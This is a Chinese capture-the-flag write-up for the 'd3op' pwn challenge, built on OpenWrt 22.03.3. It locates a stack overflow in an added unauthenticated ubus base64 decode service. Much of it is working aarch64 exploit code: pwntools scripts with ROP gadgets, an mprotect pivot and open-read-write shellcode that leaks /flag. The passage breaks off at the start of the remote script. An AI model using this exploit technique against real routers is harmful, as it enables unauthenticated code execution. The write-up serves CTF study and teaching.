题目类型为PWN,描述如下:
12345d3op
It might take a
long
time to start up, please connect about
2
minutes after the gambox start.
HINTS:
May be you need to do a diff with the rootfs
in
attachment.
题目文件:https://github.com/z1r00/ctf-pwn/blob/main/AntCTF%20x%20D%C2%B3CTF/d3op/d3op-attachment-d362854d3418636059155138fd58997c.zip
把题目给的固件进行解包,然后发现是Openwrt 22.03.3
1
2
3
4
5
6
7
8
|
_______ ________ __
| |.
-
-
-
-
-
.
-
-
-
-
-
.
-
-
-
-
-
.| | | |.
-
-
-
-
.| |_
|
-
|| _ |
-
__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
OpenWrt
22.03
.
3
, r20028
-
43d71ad93e
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
给的HINTS是diff一下,那就再从官网上下载一个22.03.3然后diff一下,diff结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
diff: openwrt
/
squashfs
-
root
/
etc
/
TZ: No such
file
or
directory
Only
in
d3op
/
squashfs
-
root
/
etc
/
config: network
diff: openwrt
/
squashfs
-
root
/
etc
/
localtime: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
etc
/
mtab: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
etc
/
ppp
/
resolv.conf: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
etc
/
resolv.conf: No such
file
or
directory
diff
-
-
color
-
aur openwrt
/
squashfs
-
root
/
etc
/
shadow d3op
/
squashfs
-
root
/
etc
/
shadow
-
-
-
openwrt
/
squashfs
-
root
/
etc
/
shadow
2023
-
01
-
03
08
:
24
:
21
+
+
+
d3op
/
squashfs
-
root
/
etc
/
shadow
2023
-
04
-
12
17
:
33
:
08
@@
-
1
,
4
+
1
,
4
@@
-
root:::
0
:
99999
:
7
:::
+
root:$
6
$JlPmKq
/
ZhqQ0I6V6$B74FL6cufcnZKT4G0sUz3xNP0Pr4k7yOG2I091f2OFOmcldS2s7CPJwOcfx0r
/
OshYDOFKw76APIqPHBXCdXb
/
:
19442
::::::
daemon:
*
:
0
:
0
:
99999
:
7
:::
ftp:
*
:
0
:
0
:
99999
:
7
:::
network:
*
:
0
:
0
:
99999
:
7
:::
diff: openwrt
/
squashfs
-
root
/
etc
/
ssl
/
cert.pem: No such
file
or
directory
Only
in
d3op
/
squashfs
-
root: flag
diff: openwrt
/
squashfs
-
root
/
sbin
/
insmod: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
sbin
/
lsmod: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
sbin
/
modinfo: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
sbin
/
modprobe: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
sbin
/
rmmod: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
usr
/
bin
/
scp: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
usr
/
bin
/
ssh: No such
file
or
directory
diff: openwrt
/
squashfs
-
root
/
usr
/
bin
/
wget: No such
file
or
directory
Only
in
d3op
/
squashfs
-
root
/
usr
/
libexec
/
rpcd: base64
diff
-
-
color
-
aur openwrt
/
squashfs
-
root
/
usr
/
share
/
rpcd
/
acl.d
/
unauthenticated.json d3op
/
squashfs
-
root
/
usr
/
share
/
rpcd
/
acl.d
/
unauthenticated.json
-
-
-
openwrt
/
squashfs
-
root
/
usr
/
share
/
rpcd
/
acl.d
/
unauthenticated.json
2023
-
01
-
03
08
:
24
:
21
+
+
+
d3op
/
squashfs
-
root
/
usr
/
share
/
rpcd
/
acl.d
/
unauthenticated.json
2023
-
04
-
10
02
:
25
:
53
@@
-
1
,
13
+
1
,
17
@@
{
-
"unauthenticated"
: {
-
"description"
:
"Access controls for unauthenticated requests"
,
-
"read"
: {
-
"ubus"
: {
-
"session"
: [
-
"access"
,
-
"login"
-
]
-
}
-
}
-
}
+
"unauthenticated"
: {
+
"description"
:
"Access controls for unauthenticated requests"
,
+
"read"
: {
+
"ubus"
: {
+
"session"
: [
+
"access"
,
+
"login"
+
],
+
"base64"
: [
+
"decode"
,
+
"encode"
+
]
+
}
+
}
+
}
}
|
可以看到题目多了network,和base64这两个关键的东西
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Only
in
d3op
/
squashfs
-
root
/
usr
/
libexec
/
rpcd: base64
+
"unauthenticated"
: {
+
"description"
:
"Access controls for unauthenticated requests"
,
+
"read"
: {
+
"ubus"
: {
+
"session"
: [
+
"access"
,
+
"login"
+
],
+
"base64"
: [
+
"decode"
,
+
"encode"
+
]
+
}
+
}
+
}
|
同时也得知base64是属于ubus模块
1
2
3
4
5
|
-
list
[<path>]
List
objects
-
call <path> <method> [<message>] Call an
object
method
-
listen [<path>...] Listen
for
events
-
send <
type
> [<message>] Send an event
-
wait_for <
object
> [<
object
>...] Wait
for
multiple objects to appear on ubus
|
ubus list 即可看到当前ubus中注册的接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
root@(none):
/
# ubus list
base64
container
dhcp
file
hotplug.dhcp
hotplug.iface
hotplug.neigh
hotplug.net
hotplug.ntp
hotplug.tftp
iwinfo
luci
luci
-
rpc
network
network.device
network.interface
network.interface.lan
network.interface.loopback
network.rrdns
network.wireless
rc
service
session
system
uci
|
如果想要与base64进行交互的话用call,但是需要先知道base64的输入格式是什么
1
2
3
4
|
root@(none):
/
# ubus -v list base64
'base64'
@
1e449b72
"encode"
:{
"input"
:
"String"
}
"decode"
:{
"input"
:
"String"
}
|
知道了有两个方法,一个是encode和decode,调用如下
1
2
3
4
|
root@(none):
/
# ubus call base64 encode '{"input" : "z1r0"}'
{
"output"
:
"ejFyMAA="
}
|
可以看到z1r0被base64编码并输出出来,漏洞点大概率就出在base64这里,至此初步分析完成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char v6[
4096
];
/
/
[xsp
+
28h
] [xbp
-
1028h
] BYREF
unsigned __int64
*
specific_method;
/
/
[xsp
+
1028h
] [xbp
-
28h
]
__int64 v8;
/
/
[xsp
+
1030h
] [xbp
-
20h
]
__int64
*
v9;
/
/
[xsp
+
1038h
] [xbp
-
18h
]
int
v10;
/
/
[xsp
+
1044h
] [xbp
-
Ch]
unsigned __int64
*
method;
/
/
[xsp
+
1048h
] [xbp
-
8h
]
init_base64();
/
/
base64表
if
( argc <
=
1
)
return
0
;
method
=
argv[
1
];
if
( check_method(method,
"list"
) )
{
v10
=
read_input(
0
, v6,
0xFFFuLL
);
v6[v10]
=
0
;
v9
=
sub_402478(v6);
if
( v9 )
{
v8
=
sub_403C90(v9,
"input"
);
if
( v8 && sub_4059D0(v8) )
{
specific_method
=
argv[
2
];
if
( !check_method(method,
"call"
) )
{
ckec(specific_method,
*
(v8
+
32
), byte_4A2098);
sub_40B230(
"{\"output\": \"%s\"}\n"
, byte_4A2098);
sub_400A10(v9);
}
return
0
;
}
else
{
return
0
;
}
}
else
{
return
0
;
}
}
else
{
uloop_init();
return
0
;
}
}
|
主函数是参数传递逻辑,当./base64 call 的时候会进入read_input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
unsigned __int64 __fastcall sub_422E60(
int
a1, void
*
a2, size_t a3)
{
unsigned __int64 v4;
/
/
x19
unsigned
int
v8;
/
/
w3
unsigned __int64 v9;
/
/
x19
int
v10;
/
/
w2
int
v11;
/
/
w2
if
( byte_4A0F78 )
{
v4
=
linux_eabi_syscall(__NR_read, a1, a2, a3);
if
( v4 >
0xFFFFFFFFFFFFF000LL
)
{
v10
=
-
v4;
v4
=
-
1LL
;
*
(&dword_4A8590
+
_ReadStatusReg(ARM64_SYSREG(
3
,
3
,
13
,
0
,
2
)))
=
v10;
}
return
v4;
}
else
{
v8
=
sub_444C30();
v9
=
linux_eabi_syscall(__NR_read, a1, a2, a3);
if
( v9 >
0xFFFFFFFFFFFFF000LL
)
{
v11
=
-
v9;
v9
=
-
1LL
;
*
(&dword_4A8590
+
_ReadStatusReg(ARM64_SYSREG(
3
,
3
,
13
,
0
,
2
)))
=
v11;
}
sub_444CC0(v8);
return
v9;
}
}
|
read_input的逻辑就是可以继续输入一串数据,然后输入的数据进行一些处理之后会筛选出是否存在input,此时会进入下一个check逻辑
1
2
3
|
ckec(specific_method,
*
(v8
+
32
), byte_4A2098);
sub_40B230(
"{\"output\": \"%s\"}\n"
, byte_4A2098);
sub_400A10(v9);
|
看一下ckec
1
2
3
4
5
6
7
8
9
10
11
12
13
|
__int64 __fastcall sub_4064F0(unsigned __int64
*
a1, __int64 a2, __int64 a3)
{
if
( check_method(a1,
"encode"
) )
{
if
( !check_method(a1,
"decode"
) )
decode(a2, a3);
}
else
{
encode(a2, a3);
}
return
0LL
;
}
|
所以当执行./base64 call encode/decode的时候可以正常运行到encode/decode的处理逻辑
至此,得以进入decode/encode的处理逻辑的完整命令是
1
2
3
|
➜ squashfs
-
root .
/
base64 call encode
{
"input"
:
"z1r0"
}
{
"output"
:
"ejFyMAA="
}
|
先看一下decode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
__int64 __fastcall decode(char
*
json_input, __int64 out_put)
{
int
v3;
/
/
w0
int
v4;
/
/
w0
int
v5;
/
/
w0
int
v6;
/
/
w0
int
v7;
/
/
w0
int
v8;
/
/
w0
int
v9;
/
/
w0
int
v10;
/
/
w0
int
v11;
/
/
w0
int
v12;
/
/
w0
int
v13;
/
/
w0
char v16[
1028
];
/
/
[xsp
+
28h
] [xbp
+
28h
]
int
v17;
/
/
[xsp
+
42Ch
] [xbp
+
42Ch
]
int
v18;
/
/
[xsp
+
430h
] [xbp
+
430h
]
int
v19;
/
/
[xsp
+
434h
] [xbp
+
434h
]
int
v20;
/
/
[xsp
+
438h
] [xbp
+
438h
]
int
v21;
/
/
[xsp
+
43Ch
] [xbp
+
43Ch
]
unsigned
int
size;
/
/
[xsp
+
440h
] [xbp
+
440h
]
unsigned
int
v23;
/
/
[xsp
+
444h
] [xbp
+
444h
]
unsigned
int
v24;
/
/
[xsp
+
448h
] [xbp
+
448h
]
unsigned
int
len
;
/
/
[xsp
+
44Ch
] [xbp
+
44Ch
]
size
=
sub_400300();
if
( (size &
3
) !
=
0
)
return
0LL
;
len
=
3
*
(size >>
2
);
if
( json_input[size
-
1
]
=
=
'='
)
-
-
len
;
if
( json_input[size
-
2
]
=
=
61
)
-
-
len
;
if
( out_put )
{
v24
=
0
;
v23
=
0
;
while
( size > v24 )
{
if
( json_input[v24]
=
=
61
)
{
+
+
v24;
v3
=
0
;
}
else
{
v4
=
v24
+
+
;
v3
=
byte_4A1F98[json_input[v4]];
}
v21
=
v3;
if
( json_input[v24]
=
=
61
)
{
+
+
v24;
v5
=
0
;
}
else
{
v6
=
v24
+
+
;
v5
=
byte_4A1F98[json_input[v6]];
}
v20
=
v5;
if
( json_input[v24]
=
=
61
)
{
+
+
v24;
v7
=
0
;
}
else
{
v8
=
v24
+
+
;
v7
=
byte_4A1F98[json_input[v8]];
}
v19
=
v7;
if
( json_input[v24]
=
=
61
)
{
+
+
v24;
v9
=
0
;
}
else
{
v10
=
v24
+
+
;
v9
=
byte_4A1F98[json_input[v10]];
}
v18
=
v9;
v17
=
v9
+
(v21 <<
18
)
+
(v20 <<
12
)
+
(v19 <<
6
);
if
(
len
> v23 )
{
v11
=
v23
+
+
;
v16[v11]
=
BYTE2(v17);
}
if
(
len
> v23 )
{
v12
=
v23
+
+
;
v16[v12]
=
BYTE1(v17);
}
if
(
len
> v23 )
{
v13
=
v23
+
+
;
v16[v13]
=
v17;
}
}
sub_4002B0();
}
return
0LL
;
}
|
在decode最前面,会得到长度。如果decode的时候存在=号则len--,可以看到最后v16中的index并没有进行检查大小,导致溢出
到此漏洞点寻找完成
接下来就是如何去利用这个漏洞,首先看一下保护
1
2
3
4
5
|
Arch: aarch64
-
64
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
|
可以直接覆盖返回地址来劫持程序流,写出如下poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from
pwn
import
*
from
os
import
system
import
base64
li
=
lambda
x :
print
(
'\x1b[01;38;5;214m'
+
str
(x)
+
'\x1b[0m'
)
ll
=
lambda
x :
print
(
'\x1b[01;38;5;1m'
+
str
(x)
+
'\x1b[0m'
)
file_name
=
'./base64'
r
=
process([file_name,
'call'
,
'decode'
])
def
dbgg():
raw_input
()
elf
=
ELF(file_name)
dbgg()
p1
=
b
'aaaa'
p1
=
p1.ljust(
0x458
, b
"a"
)
p1
=
base64.b64encode(p1)
ret
=
0x406550
li(p1)
p2
=
b
'{"input":"'
+
p1
+
b
'"}'
li(p2)
r.sendline(p2)
r.interactive()
|
调试的时候发现会在下面这个地方SIGSEGV了
1
2
3
|
►
0x406280
ldrb w0, [x0]
0x406284
cmp
w0,
#0x3d
0x406288
b.ne
#0x4062a0 <0x4062a0>
|
看一下汇编
1
2
3
4
5
|
.text:
0000000000406274
E0
4B
84
B9 LDRSW X0, [SP,
#0x450+var8]
.text:
0000000000406278
E1
0F
40
F9 LDR X1, [SP,
#0x450+var_438]
.text:
000000000040627C
20
00
00
8B
ADD X0, X1, X0
.text:
0000000000406280
00
00
40
39
LDRB W0, [X0]
.text:
0000000000406284
1F
F4
00
71
CMP
W0,
#0x3D ; '='
|
X0这里的地址取错了,0x450 - 8 = 0x448 = v24
,在溢出的时候把v24给覆盖了之后导致的SIGSEGV结果
所以需要把v22 v23 v24 v25都处置正确才可以继续
所以写了如下poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from
pwn
import
*
from
os
import
system
import
base64
li
=
lambda
x :
print
(
'\x1b[01;38;5;214m'
+
str
(x)
+
'\x1b[0m'
)
ll
=
lambda
x :
print
(
'\x1b[01;38;5;1m'
+
str
(x)
+
'\x1b[0m'
)
file_name
=
'./base64'
r
=
process([file_name,
'call'
,
'decode'
])
def
dbgg():
raw_input
()
elf
=
ELF(file_name)
dbgg()
p1
=
b''
p1
=
p1.ljust(
0x418
, b
'a'
)
p1
+
=
b
'\x77\x77\x00\x00'
p1
+
=
b
'\x1d\x04\x00\x00'
#0x418 + 0x4 + 1
p1
+
=
b
'\x84\x05\x00\x00'
#
p1
+
=
b
'\x77\x07\x00\x00'
p1
+
=
p64(
0
)
p1
+
=
b
'b'
*
8
p1
=
base64.b64encode(p1)
ret
=
0x406550
li(p1)
p2
=
b
'{"input":"'
+
p1
+
b
'"}'
li(p2)
r.sendline(p2)
r.interactive()
|
发现可以成功控制ret为0x6262626262626262,接下来就是构造rop
没找到system,但是发现了mprotect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
unsigned __int64 __fastcall sub_423340(void
*
a1, size_t a2,
int
a3)
{
unsigned __int64 result;
/
/
x0
int
v4;
/
/
w1
result
=
linux_eabi_syscall(__NR_mprotect, a1, a2, a3);
if
( result >
=
0xFFFFFFFFFFFFF001LL
)
{
v4
=
result;
result
=
-
1LL
;
*
(&dword_4A8590
+
_ReadStatusReg(ARM64_SYSREG(
3
,
3
,
13
,
0
,
2
)))
=
-
v4;
}
return
result;
}
|
如果可以控制a1,a2,a3
就可以直接分配rwx来执行shellcode,用rwctf shellfind的方法来看交叉引用,从而寻找可以控制a1 a2 a3
中的一个,并且可以同时执行sub_423340
的地址
这样做的原因是因为笔者直接找借助x21 x19然后mov到x1 x2的gadgets,但是控制之后执行sub_423340
会因为x21 x19的设置导致一些问题
如果可以控制a1, a2, a3
中的任何一个并且可以执行sub_423340
,这个时候就可以跳到shellcode那里了
1
2
3
4
5
|
.text:
00000000004578A8
61
EE
41
F9 LDR X1, [X19,
#0x3D8]
.text:
00000000004578AC
60
F2
41
F9 LDR X0, [X19,
#0x3E0]
.text:
00000000004578B0
21
00
00
CB SUB X1, X1, X0
.text:
00000000004578B4
80
00
00
8B
ADD X0, X4, X0
.text:
00000000004578B8
A2
2E
FF
97
BL sub_423340
|
上面这一段就符合要求,控制了x19之后然后再控制x2,最后到上面这一段
1
2
3
4
5
6
7
8
|
.text:
00000000004579A4
E2
00
80
52
MOV W2,
#7
.text:
00000000004579A8
FD
03
00
91
MOV X29, SP
.text:
00000000004579AC
03
48
42
F9 LDR X3, [X0,
#0x490]
.text:
00000000004579B0
01
4C
42
F9 LDR X1, [X0,
#0x498]
.text:
00000000004579B4
00
50
42
F9 LDR X0, [X0,
#0x4A0]
.text:
00000000004579B8
21
00
00
CB SUB X1, X1, X0
.text:
00000000004579BC
60
00
00
8B
ADD X0, X3, X0
.text:
00000000004579C0
60
2E
FF
97
BL sub_423340
|
官方wp上的要更简单,控制x0即可,然后跳到shellcode那里
shellcode可以用orw,下面是用base64运行时的exp,可以看到flag成功被输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
from
pwn
import
*
from
os
import
system
import
base64
li
=
lambda
x :
print
(
'\x1b[01;38;5;214m'
+
str
(x)
+
'\x1b[0m'
)
ll
=
lambda
x :
print
(
'\x1b[01;38;5;1m'
+
str
(x)
+
'\x1b[0m'
)
context(arch
=
'aarch64'
, os
=
'linux'
, log_level
=
'debug'
)
file_name
=
'./base64'
r
=
process([file_name,
'call'
,
'decode'
])
def
dbgg():
raw_input
()
elf
=
ELF(file_name)
dbgg()
shellcode
=
shellcraft.aarch64.linux.
open
(
"/flag"
,
0
)
shellcode
+
=
shellcraft.aarch64.linux.read(
3
,
0x4a2098
,
0x100
)
shellcode
+
=
shellcraft.aarch64.linux.write(
1
,
0x4a2098
,
0x100
)
p1
=
asm(shellcode)
p1
=
p1.ljust(
0x200
, b
'a'
)
p1
+
=
p64(
0
)
+
p64(
0x4A3000
)
+
p64(
0x4A0000
)
p1
=
p1.ljust(
0x418
, b
'a'
)
p1
+
=
b
'\x77\x77\x00\x00'
p1
+
=
b
'\x1d\x04\x00\x00'
#0x418 + 0x4 + 1
p1
+
=
b
'\x84\x05\x00\x00'
#
p1
+
=
b
'\x77\x07\x00\x00'
p1
+
=
p64(
0
)
# 0x000000000040064c : ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
gadget1
=
0x000000000040064c
# 0x0000000000417920 : ldr x21, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
gadget2
=
0x0000000000417920
# 0x000000000040a95c : ldr x23, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
gadget3
=
0x000000000040a95c
# 0x00000000004598c0 : ldp x19, x20, [sp, #0x10] ; mov x0, x3 ; ldp x29, x30, [sp], #0x50 ; ret
gadget4
=
0x00000000004598c0
# 0x0000000000444e14 : svc #0 ; ldp x21, x22, [sp, #0x20] ; mov w0, w19 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x40 ; ret
gadget6
=
0x0000000000444e14
# 0x435338
gadget5
=
0x435338
'''
mov x1, x23
mov x0, x19
mov x2, x21
blr x20
'''
'''
.text:00000000004578A8 61 EE 41 F9 LDR X1, [X19,#0x3D8]
.text:00000000004578AC 60 F2 41 F9 LDR X0, [X19,#0x3E0]
.text:00000000004578B0 21 00 00 CB SUB X1, X1, X0
.text:00000000004578B4 80 00 00 8B ADD X0, X4, X0
.text:00000000004578B8 A2 2E FF 97 BL sub_423340
'''
'''
.text:00000000004579A4 E2 00 80 52 MOV W2, #7
.text:00000000004579A8 FD 03 00 91 MOV X29, SP
.text:00000000004579AC 03 48 42 F9 LDR X3, [X0,#0x490]
.text:00000000004579B0 01 4C 42 F9 LDR X1, [X0,#0x498]
.text:00000000004579B4 00 50 42 F9 LDR X0, [X0,#0x4A0]
.text:00000000004579B8 21 00 00 CB SUB X1, X1, X0
.text:00000000004579BC 60 00 00 8B ADD X0, X3, X0
.text:00000000004579C0 60 2E FF 97 BL sub_423340
'''
magic_gadget
=
0x00000000004579A4
# 0x0000000000400898 : ldr x0, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
gadget7
=
0x0000000000400898
mprotect_addr
=
0x423340
base64_decode_addr
=
0x4a2098
#p1 += p64(0x00000000004579A4)
#p1 += p64(0x0000000000403ad8)
'''
p1 += p64(gadget4)
p1 += b'\x00' * 0x20
p1 += p64(0) + p64(gadget1)
p1 += p64(0) + p64(mprotect_addr)
p1 += b'\x00' * 0x30
p1 += p64(0) + p64(gadget2)
p1 += p64(0x4a2000) # x19
p1 += p64(0) * 2 + p64(gadget3)
p1 += p64(0) * 2 + p64(7) # x21
p1 += p64(0)
p1 += p64(0) + p64(base64_decode_addr)
p1 += p64(0) * 4 + p64(0x7000)
'''
p1
+
=
p64(gadget7)
p1
+
=
b
'\x00'
*
0x20
p1
+
=
p64(
0
)
+
p64(magic_gadget)
p1
+
=
p64(
0
)
*
2
+
p64(base64_decode_addr
+
0x200
-
0x490
)
p1
+
=
p64(base64_decode_addr)
*
5
p1
=
base64.b64encode(p1)
ret
=
0x406550
li(p1)
p2
=
b
'{"input":"'
+
p1
+
b
'"}'
li(p2)
r.sendline(p2)
r.interactive()
|
但是远程的时候会出现问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
*
Trying
127.0
.
0.1
:
9999.
..
*
TCP_NODELAY
set
*
Connected to
127.0
.
0.1
(
127.0
.
0.1
) port
9999
(
#0)
> POST
/
ubus HTTP
/
1.1
> Host:
127.0
.
0.1
:
9999
> User
-
Agent: curl
/
7.68
.
0
> Accept:
*
/
*
> Content
-
Length:
1721
> Content
-
Type
: application
/
x
-
www
-
form
-
urlencoded
> Expect:
100
-
continue
>
*
Mark bundle as
not
supporting multiuse
< HTTP
/
1.1
100
Continue
*
We are completely uploaded
and
fine
*
Mark bundle as
not
supporting multiuse
< HTTP
/
1.1
200
OK
< Connection: Keep
-
Alive
< Transfer
-
Encoding: chunked
< Keep
-
Alive: timeout
=
20
< Content
-
Type
: application
/
json
<
*
Connection
#0 to host 127.0.0.1 left intact
{
"jsonrpc"
:
"2.0"
,
"id"
:null,
"result"
:[
2
]}
|
result里没有flag的输出,是因为输出的格式是{"output":"flag"}
,而上面的0x4a2098
这里直接存放的是flag,所以需要在一个地址里构造一下{"output": "
,然后再将flag放到后面,最后加上"}
即可
最终本地exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
|
from
pwn
import
*
from
os
import
system
import
base64
li
=
lambda
x :
print
(
'\x1b[01;38;5;214m'
+
str
(x)
+
'\x1b[0m'
)
ll
=
lambda
x :
print
(
'\x1b[01;38;5;1m'
+
str
(x)
+
'\x1b[0m'
)
context(arch
=
'aarch64'
, os
=
'linux'
, log_level
=
'debug'
)
file_name
=
'./base64'
r
=
process([file_name,
'call'
,
'decode'
])
def
dbgg():
raw_input
()
elf
=
ELF(file_name)
dbgg()
shellcode
=
shellcraft.aarch64.linux.
open
(
"/flag"
,
0
)
shellcode
+
=
shellcraft.aarch64.linux.read(
3
,
0x4a23a4
,
0x100
)
shellcode
+
=
shellcraft.aarch64.linux.write(
1
,
0x4a2398
,
0x100
)
p1
=
asm(shellcode)
p1
=
p1.ljust(
0x200
, b
'a'
)
p1
+
=
p64(
0
)
+
p64(
0x4A3000
)
+
p64(
0x4A0000
)
p1
=
p1.ljust(
0x300
, b
'a'
)
p1
+
=
b
'{"output": "'
p1
=
p1.ljust(
0x350
, b
'a'
)
p1
+
=
b
'"}'
p1
=
p1.ljust(
0x418
, b
'a'
)
p1
+
=
b
'\x77\x77\x00\x00'
p1
+
=
b
'\x1d\x04\x00\x00'
#0x418 + 0x4 + 1
p1
+
=
b
'\x84\x05\x00\x00'
#
p1
+
=
b
'\x77\x07\x00\x00'
p1
+
=
p64(
0
)
# 0x000000000040064c : ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x20 ; ret
gadget1
=
0x000000000040064c
# 0x0000000000417920 : ldr x21, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
gadget2
=
0x0000000000417920
# 0x000000000040a95c : ldr x23, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
gadget3
=
0x000000000040a95c
# 0x00000000004598c0 : ldp x19, x20, [sp, #0x10] ; mov x0, x3 ; ldp x29, x30, [sp], #0x50 ; ret
gadget4
=
0x00000000004598c0
# 0x0000000000444e14 : svc #0 ; ldp x21, x22, [sp, #0x20] ; mov w0, w19 ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x40 ; ret
gadget6
=
0x0000000000444e14
# 0x435338
gadget5
=
0x435338
'''
mov x1, x23
mov x0, x19
mov x2, x21
blr x20
'''
'''
.text:00000000004578A8 61 EE 41 F9 LDR X1, [X19,#0x3D8]
.text:00000000004578AC 60 F2 41 F9 LDR X0, [X19,#0x3E0]
.text:00000000004578B0 21 00 00 CB SUB X1, X1, X0
.text:00000000004578B4 80 00 00 8B ADD X0, X4, X0
.text:00000000004578B8 A2 2E FF 97 BL sub_423340
'''
'''
.text:00000000004579A4 E2 00 80 52 MOV W2, #7
.text:00000000004579A8 FD 03 00 91 MOV X29, SP
.text:00000000004579AC 03 48 42 F9 LDR X3, [X0,#0x490]
.text:00000000004579B0 01 4C 42 F9 LDR X1, [X0,#0x498]
.text:00000000004579B4 00 50 42 F9 LDR X0, [X0,#0x4A0]
.text:00000000004579B8 21 00 00 CB SUB X1, X1, X0
.text:00000000004579BC 60 00 00 8B ADD X0, X3, X0
.text:00000000004579C0 60 2E FF 97 BL sub_423340
'''
magic_gadget
=
0x00000000004579A4
# 0x0000000000400898 : ldr x0, [sp, #0x20] ; ldp x29, x30, [sp], #0x30 ; ret
gadget7
=
0x0000000000400898
mprotect_addr
=
0x423340
base64_decode_addr
=
0x4a2098
#p1 += p64(0x00000000004579A4)
#p1 += p64(0x0000000000403ad8)
'''
p1 += p64(gadget4)
p1 += b'\x00' * 0x20
p1 += p64(0) + p64(gadget1)
p1 += p64(0) + p64(mprotect_addr)
p1 += b'\x00' * 0x30
p1 += p64(0) + p64(gadget2)
p1 += p64(0x4a2000) # x19
p1 += p64(0) * 2 + p64(gadget3)
p1 += p64(0) * 2 + p64(7) # x21
p1 += p64(0)
p1 += p64(0) + p64(base64_decode_addr)
p1 += p64(0) * 4 + p64(0x7000)
'''
p1
+
=
p64(gadget7)
p1
+
=
b
'\x00'
*
0x20
p1
+
=
p64(
0
)
+
p64(magic_gadget)
p1
+
=
p64(
0
)
*
2
+
p64(base64_decode_addr
+
0x200
-
0x490
)
p1
+
=
p64(base64_decode_addr)
*
5
p1
=
base64.b64encode(p1)
ret
=
0x406550
li(p1)
p2
=
b
'{"input":"'
+
p1
+
b
'"}'
li(p2)
r.sendline(p2)
r.interactive()
|
远程如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from
pwn
import
*
from
os
import
system
li
=
lambda
x :
print
(
'\x1b[01;38;5;214m'
+
str
(x)
+
'\x1b[0m'
)
ll
=
lambda
x :
print
(
'\x1b[01;38;5;1m'
+
str
(x)
+
'\x1b[0m'
)
ip
=
'http://127.0.0.1:9999/ubus'
p1
=
